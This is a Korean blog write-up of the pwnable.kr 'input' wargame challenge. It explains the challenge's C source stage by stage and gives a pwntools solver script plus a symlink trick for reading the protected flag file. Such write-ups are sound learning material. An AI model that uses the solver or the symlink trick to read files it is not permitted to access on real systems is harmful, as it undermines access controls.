[1] 코드분석
처음 이문제를 풀때, 나도그랬고, 아마 여러분들도 그랬을 것이다.
솔직히 그냥 문제보고 나갔다.
근데 지금은 toddler 부분은 다풀어야겠다고 생각이 들었다.
그래서 시도해본다.
솔직히 나는 이문제가 pwntools 공부하는데 큰 도움이 되었던것 같다. 나중에 다시 pwntools로 익스를 작성해 봐야겠다.
익스코드는 https://mandu-mandu.tistory.com/76 를 참조했다.
시작해보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n"); // argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; printf("Stage 1 clear!\n"); // stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); // env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n"); // file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); // here's your flag system("/bin/cat flag"); return 0; } | cs |
진짜 개극혐이다.
코드를 분석해보면, stage1부터 stage5까지 조건에 맞게 값을 입력받으면, 플래그가 뿅 하는 구조이다.
1 2 3 4 5 | // argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; printf("Stage 1 clear!\n"); | cs |
일단 stage1의 부분이다.
첫번째 if문 : 인자 ( argc ) 의 갯수가 100개인지 확인한다.
두번째 if문 : 우리는 두번째 if문을 거짓으로 만들어야 한다. 그리고 strcmp 함수는 두 문자열이 같으면 거짓을 반환한다. 따라서 우리는 argv['A']와 "\x00"를 같게 만들어주면 된다.
세번째 if문 : 마찬가지로 argv['B']와 \x20\x0a\x0d 를 같게 만들어주면 된다.
1 2 3 4 5 6 7 | // stdio char buf[4]; read(0, buf, 4); if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); | cs |
두번째로 stage2 부분이다.
마찬가지로 read함수로 입력을 받은 후 memcmp로 값을 비교한다. buf의 4바이트 만큼과 "\x00\x0a\x00\xff"의 4바이트 만큼을 비교하여 두 값이 같다면 0을 출력해준다. 그러므로 우리는 두 값을 같게 만들어 주면 될것이다.
그리고 read의 fd중 2는 stderr ( 표준에러 ) 이다. 이 값에다가 "\x00\x0a\x02\xff" 를 넣어주면 조건을 만족하고, 스테이지를 클리어 할 수 있을것이다.
1 2 3 4 | // env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n"); | cs |
stage3 이다.
요부분은 쉽다. getenv는 환경변수의 주소를 출력해주는 함수이다.
환경변수 "\xde\xad\xbe\xef"를 "\xca\xfe\xba\xbe" 로 입력해주면 스테이지가 클리어 될것이다.
1 2 3 4 5 6 7 8 | // file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); | cs |
stage4 이다. 파일을 연 후에, 처음 4바이트가 "\x00\x00\x00\x00" 이면 조건을 만족할것이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); // here's your flag system("/bin/cat flag"); return 0; | cs |
마지막 stage이다. 다른건 다풀고 여기서 멘탈이 나갔었다.
소켓프로그래밍(?)에 대해 더 많은 정보가 필요하면 https://rotapple.tistory.com/8 여기로!!
중요부분만 설명하면, argc['C'] 포트를 연 후에, 'C' 포트부분에 "\xde\xad\xbe\xef" 를 입력하면 플래그가 뜰것이다.
[2] 익스플로잇
파이썬 익스코드는 위에 써 둔 블로그 주소에서 참고했다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | #-*- coding:utf-8 -*- from pwn import * #stage1 argvs = [str(i) for i in range(100)] argvs[ord('A')] = '\x00' argvs[ord('B')] = '\x20\x0a\x0d' #stage2 with open('./stderr', 'a') as f: f.write('\x00\x0a\x02\xff') #stage3 envVal = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'} #stage4 with open('./\x0a', 'a') as f: f.write('\x00\x00\x00\x00') #stage5 argvs[ord('C')] = '40000' #인자전달, stderr 파일 열기, 환경변수 설정등 target = process(executable='/home/input2/input', argv=argvs, stderr=open('./stderr'), env=envVal) #stage2의 stdin target.sendline('\x00\x0a\x00\xff') #다시 stage5, 포트가 argv['C']와 일치해야겠죠? conn = remote('localhost', 40000) conn.send('\xde\xad\xbe\xef') target.interactive() | cs |
pwntool을 사용하면 이렇게 편안하게 익스플로잇 할 수 있었다.
아 그리고 쓰기권한이 있는 폴더는 /tmp 이다. /tmp로 이동한 후 mkdir로 폴더를 하나 만들어서 여기서 익스코드를 작성하자.
근데 그러면 플래그가 없어서 플래그를 읽어오지 못할것이다.
그래서 우리는 심볼릭 링크로 플래그를 연결시킨후에 플래그를 출력시키게 하면 된다.
ln -s /home/input2/flag flag
이러면 플래그가 출력될것이다.
와! 클리어!